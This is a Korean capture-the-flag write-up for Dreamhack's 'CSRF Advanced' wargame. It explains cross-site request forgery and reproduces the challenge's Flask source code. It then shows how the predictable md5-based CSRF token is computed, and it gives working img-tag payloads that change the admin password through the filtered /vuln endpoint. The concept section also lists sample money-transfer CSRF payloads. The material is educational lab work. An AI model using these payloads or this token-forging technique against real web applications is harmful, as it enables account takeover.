[드림핵/워게임] CSRF Advanced (웹 해킹)

프롤로그

CSRF 관련된 풀이는 오랜만이라서 개념부터 다시 정리하고, 이전 CSRF-1번 문제 되돌아보면서 이 CSRF Advanced 문제를 풀어보자

 

 

CSRF

교차 사이트 요청 위조(Cross Site Request Forgery)

쿠키 또는 세션을 사용해 이용자를 식별하는데, 임의 이용자의 쿠키를 사용할 수 있다? 그러면 임의 이용자의 웹 서비스 기능을 사용할 수 있다.

CSRF는 임의 사용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점이다.

 

 

CSRF 공격에 성공하기 위해서는 공격자가 작성한 악성 스크립트를 이용자가 실행하여야함.
-> 메일/게시판에 글을 작성해 이용자가 이를 조회하도록 유도

 

IMG 태그나 FORM 태그로 요청보내면 세션아이디값이 같이 간다

<img src="/sendmoney?to=Dreamhack&amount=10000">
<img src=1 onerror="fetch('/sendmoney?to=Dreamhack&amount=10000');">
<link rel="stylesheet" href="/sendmoney?to=Dreamhack&amount=10000">

중요한건

CSRF는 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하는 공격

또한, 공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있음.

 

 

문제

문제 코드

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium.webdriver.common.by import By
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from hashlib import md5
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

users = {
    'guest': 'guest',
    'admin': FLAG
}

session_storage = {}
token_storage = {}

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    service = Service(executable_path="/chromedriver")
    options = webdriver.ChromeOptions()
    try:
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/login")
        driver.add_cookie(cookie)
        driver.find_element(by=By.NAME, value="username").send_keys("admin")
        driver.find_element(by=By.NAME, value="password").send_keys(users["admin"])
        driver.find_element(by=By.NAME, value="submit").click()
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("user not found");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'


@app.route("/change_password")
def change_password():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
        csrf_token = token_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')
    pw = request.args.get("pw", None)
    if pw == None:
        return render_template('change_password.html', csrf_token=csrf_token)
    else:
        if csrf_token != request.args.get("csrftoken", ""):
            return '<script>alert("wrong csrf token");history.go(-1);</script>'
        users[username] = pw
        return '<script>alert("Done");history.go(-1);</script>'

app.run(host="0.0.0.0", port=8000)

 

 

코드 분석

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("user not found");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

login 엔드 포인트에서, 사용자의 아이디, 비밀번호를 POST요청을 한다

비밀번호가 맞다면, 세션아이디를 부여하는데, 세션 아이디는 세션 저장소에 저장이 된다.

그리고 여기서 핵심. token_storage에는 키 값으로 세션 id, value값으로 md5....저게 생성이 되는데

 

유추가 가능하다.

 

즉 username을 admin으로, remote_addr(아이피 주소)를 127.0.0.1로 하면, 어드민의 토큰 값을 알 수 있다.

@app.route("/change_password")
def change_password():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
        csrf_token = token_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')
    pw = request.args.get("pw", None)
    if pw == None:
        return render_template('change_password.html', csrf_token=csrf_token)
    else:
        if csrf_token != request.args.get("csrftoken", ""):
            return '<script>alert("wrong csrf token");history.go(-1);</script>'
        users[username] = pw
        return '<script>alert("Done");history.go(-1);</script>'

이제 여기 change_password를 보면

세션 아이디 값을 쿠키로 부터 받은 다음에 username이랑 csrf_token값을 각각 찾는ㄴ다.

 

pw 는 파라미터로 맞고

csrf_token값도 csrftoken 파라미터로부터 받는다.

 

풀이전략

pw, csrftoken을 파라미터로 받으니까, vuln인 서버쪽 에다가 <img>태그를 넣어서 csrf 취약점 공격을 하면 되낟.

파라미터로 저거 두 개 pw는 우리가 변경할 비밀번호, csrftoken은 우리가 직접 계산해서 넣어준다

csrftoken을 먼저 계산하면

from hashlib import md5
print(md5(("admin" + "127.0.0.1").encode()).hexdigest())

로 구했더니

7505b9c72ab4aa94b1a4ed7b207b67fb

가 나왔고

 

이제 vuln에다가

이미지 태그를 집어넣자

<img src="/change_password?pw=1234&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">

를 넣어주면 될 것이다

 

 

실제 풀이

로그인을 해주고

flag로 가서

<img src="/change_password?pw=1234&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">

입력해주고 제출을 누르면

good이 되고

다시 로그인창에서

admin, 1234로 하면

 

성공

 

 

에필로그

CSRF 너무 오랜만이라 다 까먹었다;;